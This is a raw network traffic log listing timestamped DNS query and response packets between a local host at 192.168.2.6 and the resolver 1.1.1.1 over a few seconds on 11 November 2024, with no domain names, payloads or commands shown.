Nov 11, 2024 18:51:14.664702892 CET	49714	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:14.672071934 CET	53	52083	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:14.672086000 CET	53	49714	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:14.672455072 CET	53	62781	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:14.672480106 CET	53	51383	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:14.673300982 CET	53	51370	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:14.673341990 CET	53	56642	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:14.673794985 CET	53	52643	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:14.673819065 CET	53	53167	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:14.673935890 CET	53	63929	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:14.673964977 CET	53	53691	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:14.674320936 CET	53	59905	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:14.674370050 CET	53	60878	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:14.674938917 CET	53	61504	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:14.675065994 CET	53	54141	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:14.675076008 CET	53	60967	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:14.682511091 CET	53	57865	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:14.683378935 CET	53	57081	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:14.694231033 CET	53	60796	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:14.694554090 CET	53	57426	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:14.694566965 CET	53	52173	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:14.706695080 CET	58205	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:14.707467079 CET	57759	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:14.707623959 CET	54420	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:14.707811117 CET	61145	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:14.707942963 CET	65219	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:14.708142996 CET	55917	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:14.708173037 CET	51730	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:14.708362103 CET	57899	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:14.708457947 CET	60008	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:14.709100008 CET	52846	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:14.713746071 CET	57392	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:14.715255976 CET	51951	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:14.716506958 CET	64471	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:14.717144012 CET	49473	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:14.717736959 CET	53	57759	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:14.717900038 CET	54377	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:14.718512058 CET	53	60008	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:14.719010115 CET	53	65219	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:14.719434023 CET	53	54420	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:14.719629049 CET	53	52846	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:14.719656944 CET	53	55917	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:14.721544981 CET	57144	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:14.721851110 CET	52817	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:14.723180056 CET	53	57392	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:14.723701000 CET	61810	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:14.724472046 CET	53	49473	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:14.726783037 CET	53	64471	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:14.728990078 CET	53	54377	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:14.731777906 CET	53	57144	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:14.733505964 CET	53	52817	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:14.738425970 CET	53	58205	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:14.740222931 CET	53	51730	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:14.740231991 CET	53	57899	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:14.740250111 CET	53	61145	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:14.744082928 CET	64705	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:14.746213913 CET	53	51951	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:14.755603075 CET	53	61810	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:14.777965069 CET	53	64705	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:15.290885925 CET	52067	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:15.292977095 CET	52922	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:15.296391010 CET	63033	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:15.303109884 CET	53	52922	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:15.310357094 CET	53	52067	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:15.327938080 CET	53	63033	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:15.340756893 CET	55106	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:15.341058016 CET	61275	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:15.348854065 CET	53	55106	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:15.351047993 CET	53	61275	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:15.356749058 CET	59890	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:15.389003992 CET	53	59890	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:15.419492960 CET	60701	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:15.419709921 CET	61294	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:15.431684017 CET	53	60701	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:15.432456017 CET	53	61294	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:16.150921106 CET	62053	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:16.163419962 CET	53	62053	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:16.189436913 CET	51524	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:16.192823887 CET	62036	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:16.193953037 CET	56811	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:16.197180986 CET	54975	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:16.200634003 CET	63022	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:16.207483053 CET	53	54975	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:16.209316015 CET	54037	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:16.210484028 CET	64539	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:16.212903023 CET	53293	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:16.216310978 CET	59235	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:16.217775106 CET	53	56811	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:16.218430996 CET	53	63022	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:16.219274998 CET	53	54037	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:16.220201969 CET	62871	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:16.221019030 CET	53478	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:16.221983910 CET	53	64539	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:16.222449064 CET	53	51524	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:16.222704887 CET	50390	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:16.223084927 CET	53	53293	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:16.224440098 CET	53	62036	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:16.227435112 CET	53	59235	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:16.229922056 CET	53	62871	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:16.232316971 CET	53	53478	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:16.233146906 CET	53	50390	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:16.252037048 CET	60097	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:16.264353991 CET	53	60097	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:16.293770075 CET	57564	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:16.294296026 CET	52338	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:16.294544935 CET	52929	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:16.294768095 CET	57897	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:16.295202017 CET	50945	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:16.298085928 CET	51115	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:16.298419952 CET	62096	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:16.298863888 CET	59524	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:16.302171946 CET	49811	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:16.302380085 CET	53	52338	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:16.303829908 CET	53	57564	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:16.305270910 CET	53	52929	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:16.306397915 CET	53	57897	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:16.308969975 CET	53	50945	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:16.309319973 CET	53	59524	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:16.309331894 CET	53	62096	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:16.314810038 CET	53	49811	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:16.329792023 CET	53	51115	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:16.336787939 CET	56335	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:16.337078094 CET	60296	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:16.337281942 CET	55582	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:16.337281942 CET	51380	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:16.337462902 CET	60106	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:16.337500095 CET	58833	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:16.337609053 CET	50754	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:16.337757111 CET	64969	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:16.337872028 CET	62686	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:16.337991953 CET	62248	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:16.338215113 CET	60962	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:16.338399887 CET	54736	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:16.338766098 CET	49810	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:16.344813108 CET	53	51380	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:16.346544981 CET	53	56335	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:16.347302914 CET	53	58833	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:16.347827911 CET	53	50754	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:16.348011971 CET	53	60106	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:16.348021984 CET	53	64969	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:16.348073006 CET	53	49810	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:16.348387003 CET	53	60962	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:16.348562002 CET	53	54736	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:16.348572016 CET	53	62686	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:16.349455118 CET	53	62248	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:16.356220007 CET	53	60296	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:16.367523909 CET	55860	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:16.367693901 CET	57249	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:16.367863894 CET	55122	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:16.367985010 CET	65150	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:16.368128061 CET	53	55582	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:16.368139029 CET	54908	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:16.368266106 CET	53098	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:16.368680000 CET	52891	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:16.368825912 CET	50157	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:16.369206905 CET	64931	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:16.369342089 CET	63101	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:16.370728970 CET	54000	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:16.370920897 CET	61911	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:16.371071100 CET	55549	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:16.371212959 CET	65520	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:16.371352911 CET	64661	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:16.371505022 CET	49561	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:16.371644974 CET	52466	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:16.373328924 CET	54858	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:16.373565912 CET	62422	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:16.373729944 CET	58898	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:16.375891924 CET	53	63101	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:16.377567053 CET	53	55122	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:16.377857924 CET	53	53098	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:16.377970934 CET	53	55860	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:16.378340960 CET	53	65150	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:16.378572941 CET	53	50157	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:16.378830910 CET	53	54908	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:16.379831076 CET	53	64931	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:16.380744934 CET	53	62422	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:16.381243944 CET	53	65520	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:16.381561995 CET	53	55549	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:16.381572008 CET	53	61911	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:16.382468939 CET	53	64661	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:16.383260965 CET	53	52466	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:16.384382963 CET	53	54858	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:16.385256052 CET	53	58898	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:16.398708105 CET	53	57249	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:16.400521040 CET	53	52891	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:16.402242899 CET	53	54000	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:16.404037952 CET	53	49561	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:16.410829067 CET	63292	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:16.440834999 CET	53	63292	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:16.515979052 CET	54227	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:16.535593033 CET	53	54227	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:16.538573980 CET	60141	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:16.542614937 CET	59070	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:16.544220924 CET	60096	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:16.547856092 CET	54932	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:16.547916889 CET	61664	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:16.549108982 CET	53	60141	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:16.550636053 CET	60479	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:16.556174994 CET	53	59070	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:16.557221889 CET	52353	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:16.558809042 CET	53	61664	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:16.561117887 CET	53	60479	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:16.561367035 CET	53	60096	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:16.567276955 CET	53	52353	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:16.567287922 CET	53	54932	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:16.799226046 CET	53398	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:16.830760956 CET	53	53398	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:16.947202921 CET	50162	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:16.947834015 CET	55654	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:16.948301077 CET	56754	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:16.958311081 CET	53	50162	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:16.960114956 CET	53	56754	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:16.979346037 CET	53	55654	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:18.278886080 CET	53801	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:18.286184072 CET	53	53801	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:18.288707972 CET	63841	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:18.321238041 CET	53	63841	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:18.716356039 CET	64921	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:18.725720882 CET	53	64921	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:19.018986940 CET	60476	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:19.030030966 CET	53	60476	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:19.129075050 CET	63793	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:19.164629936 CET	53	63793	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:19.179208994 CET	61257	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:19.185204029 CET	61792	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:19.188143015 CET	50073	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:19.190470934 CET	53	61257	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:19.218338013 CET	63244	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:19.219249964 CET	53	50073	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:19.220840931 CET	53523	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:19.224169016 CET	58018	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:19.224425077 CET	61836	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:19.230470896 CET	53	53523	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:19.234350920 CET	53	58018	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:19.236841917 CET	53	63244	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:19.243700981 CET	57998	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:19.252712965 CET	53	57998	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:19.255418062 CET	53	61836	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:19.278652906 CET	52301	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:19.279839993 CET	60499	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:19.281217098 CET	50722	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:19.282478094 CET	53607	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:19.283701897 CET	56308	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:19.287636042 CET	49989	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:19.288642883 CET	53	52301	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:19.289406061 CET	61255	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:19.290715933 CET	54689	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:19.292002916 CET	53	50722	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:19.294174910 CET	53	56308	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:19.299182892 CET	53	49989	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:19.299653053 CET	53	61255	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:19.300775051 CET	53	54689	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:19.310890913 CET	53	60499	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:19.313435078 CET	53	53607	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:19.561220884 CET	53	61792	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:19.767069101 CET	54121	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:19.767160892 CET	62706	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:19.767482042 CET	51559	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:19.767868996 CET	50959	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:19.768801928 CET	52531	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:19.768906116 CET	58026	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:19.769179106 CET	54024	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:19.769345045 CET	49628	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:19.769623995 CET	63481	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:19.769812107 CET	49313	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:19.770323992 CET	52002	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:19.770591974 CET	55257	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:19.770853043 CET	55788	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:19.771130085 CET	63668	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:19.771368027 CET	59369	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:19.771675110 CET	50718	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:19.771861076 CET	50800	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:19.772047997 CET	64433	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:19.776245117 CET	53	58026	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:19.777477980 CET	53	62706	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:19.777745962 CET	53	51559	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:19.777885914 CET	53	50959	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:19.778423071 CET	53	59369	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:19.779073000 CET	53	52531	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:19.779654980 CET	53	49628	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:19.780297041 CET	53	49313	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:19.780977011 CET	53	63481	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:19.781462908 CET	53	55257	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:19.781655073 CET	53	63668	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:19.782037973 CET	53	50718	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:19.783345938 CET	53	64433	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:19.785840988 CET	53	54121	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:19.786385059 CET	61117	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:19.787600994 CET	62782	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:19.787798882 CET	59517	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:19.787843943 CET	59695	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:19.787997961 CET	51812	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:19.788017035 CET	56935	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:19.788193941 CET	61990	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:19.789290905 CET	53	55788	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:19.792309046 CET	57168	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:19.793225050 CET	54750	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:19.793586969 CET	58238	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:19.797625065 CET	53	62782	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:19.797785044 CET	53	56935	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:19.797836065 CET	53	61990	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:19.798408985 CET	53	51812	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:19.798422098 CET	53	59695	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:19.800004959 CET	53	54024	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:19.802431107 CET	53	52002	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:19.803117037 CET	53	50800	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:19.803165913 CET	53	57168	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:19.804626942 CET	53	54750	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:19.817600012 CET	53	61117	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:19.818445921 CET	53	59517	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:19.826853037 CET	53	58238	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:19.827876091 CET	55011	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:19.828193903 CET	58820	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:19.828193903 CET	55916	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:19.828399897 CET	60506	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:19.828533888 CET	51920	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:19.829437017 CET	49649	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:19.829487085 CET	55345	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:19.829674006 CET	52508	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:19.830034971 CET	57776	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:19.835407972 CET	53	55916	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:19.838274956 CET	53	58820	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:19.839874029 CET	53	51920	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:19.842573881 CET	53	52508	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:19.859597921 CET	53	55011	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:19.859709978 CET	53	60506	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:19.860172987 CET	53	49649	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:19.860373974 CET	53	55345	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:19.861128092 CET	53	57776	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:19.880908012 CET	60909	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:19.891007900 CET	53	60909	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:19.948878050 CET	55030	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:19.958767891 CET	53	55030	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:20.004805088 CET	50359	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:20.011324883 CET	50230	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:20.015002012 CET	52578	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:20.015501022 CET	53	50359	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:20.022157907 CET	53	50230	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:20.024502039 CET	53	52578	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:20.026611090 CET	56709	53	192.168.2.6	1.1.1.1
